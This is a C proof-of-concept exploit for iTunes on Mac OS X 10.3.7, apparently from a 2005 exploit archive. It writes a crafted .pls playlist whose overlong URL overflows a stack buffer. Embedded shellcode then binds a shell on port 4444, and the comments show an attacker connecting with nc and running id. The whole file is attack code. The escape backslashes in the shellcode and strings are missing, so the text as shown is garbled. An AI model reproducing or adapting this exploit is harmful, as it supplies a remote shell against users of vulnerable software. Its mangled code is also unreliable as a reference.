/*
 * PoC for iTunes on OS X 10.3.7
 * -( nemo@felinemenace.org )-
 *
 * Generates a .pls file, when loaded in iTunes it
 * binds a shell to port 4444.
 * Shellcode contains no x00 or x0a's.
 *
 * sample output:
 *
 * -[nemo@gir:~]$ ./fm-eyetewnz foo.pls
 * -( fm-eyetewnz )-
 * -( nemo@felinemenace.org )-
 * Creating file: foo.pls.
 * Bindshell on port: 4444
 * -[nemo@gir:~]$ open foo.pls
 * -[nemo@gir:~]$ nc localhost 4444
 * id
 * uid=501(nemo) gid=501(nemo) groups=501(nemo)
 *
 * Thanks to andrewg, mercy and core.
 * Greetings to pulltheplug and felinemenace.
 *
 * -( need a challenge? )-
 * -( http://pulltheplug.org )-
 */

#include <stdio.h>
#include <strings.h>

#define BUFSIZE 1598 + 4

char shellcode[] = /* large ugly shellcode generated by http://metasploit.com */
"x7cxa5x2ax79x40x82xffxfdx7fxe8x02xa6x3bxffx07xfa"
"x38xa5xf8x4ax3cxc0xeex83x60xc6xb7xfbx38x85x07xee"
"x7cx89x03xa6x80x9fxf8x4ax7cx84x32x78x90x9fxf8x4a"
"x7cx05xf8xacx7cxffx04xacx7cx05xffxacx3bxc5x07xba"
"x7fxffxf2x15x42x20xffxe0x4cxffx01x2cxd6xe3xb7xf9"
"xd6x03xb7xfaxd6x23xb7xfdxd6x83xb7x9axaax83xb7xf9"
"x92x83xb5x83x92xfdxacx83xa6x83xb7xf6xeex81xa6xa7"
"xeex83xb7xfbx92x0bxb5x5dxd6x23xb7xebxd6x83xb7x93"
"x91x40x44x83xaax83xb7xf9x92x83xb5x83xd6x83xb7x91"
"x91x40x44x83xaax83xb7xf9x92x83xb5x83x91x40x44x83"
"xd6x83xb7xe5xd6x03xb7xebx7ex02x48x13xd6x22x48x13"
"xd6x02x48x0bxaax83xb7xf9x92x83xb5x83x92xfdxacx83"
"xd6x23xb7xf9xd6x83xb7xa1x91x40x44x83x92x27x9cx83"
"xaax83xb7xf9x92x83xb5x83xd6x26x48x04xc2x86x48x04"
"xaex01x48x1exd6x83xb7xb9xaax83xb7xf9x92x83xb5x83"
"x92x26x9dx82xaex01x48x06x92xebxb5x5dxd6xe0xb7xd3"
"x7exe2x48x03x7ex22x48x07xd6x02x48x03xd6x83xb7xc0"
"x92x83xb3x57xaax83xb7xf9x92x83xb5x83x91x63xb7xf3"
"xc1xe1xdex95xc1xe0xc4x93xeex83xb7xfb";

int main(int ac, char **av)
{
        int n,*p;
        unsigned char * q;
        char buf[BUFSIZE];
        FILE *pls;
        int offset=0x3DA8;
        char playlist[] = {
                "[playlist]n"
                "NumberOfEntries=1n"
                "File1=http://"
        };
        printf("-( fm-eyetewnz )-n");
        printf("-( nemo@felinemenace.org )-n");
        memset(buf,'x60',BUFSIZE);
        bcopy(shellcode, buf + (BUFSIZE - 44 - sizeof(shellcode)),sizeof(shellcode) - 1); // avoid mangled stack.
        q = buf + sizeof(buf) - 5;
        p = (int *)q;
        if(!(av[1])) {
                printf("usage: %s <filename (.pls)> [offset]n",*av);
                exit(1);
        }
        if(av[2])
                offset = atoi(av[2]);
        *p = (0xc0000000 - offset);// 0xbfffc258;
        if(!(pls = fopen(*(av+1),"w+"))) {
                printf("error opening file: %s.n", *(av +1));
                exit(1);
        }
        printf("Creating file: %s.n",*(av+1));
        printf("Bindshell on port: 4444n");
        fwrite(playlist,sizeof(playlist) - 1,1,pls);
        fwrite(buf,sizeof(buf) - 1,1,pls);
        fclose(pls);
}

// www.Syue.com [2005-01-16]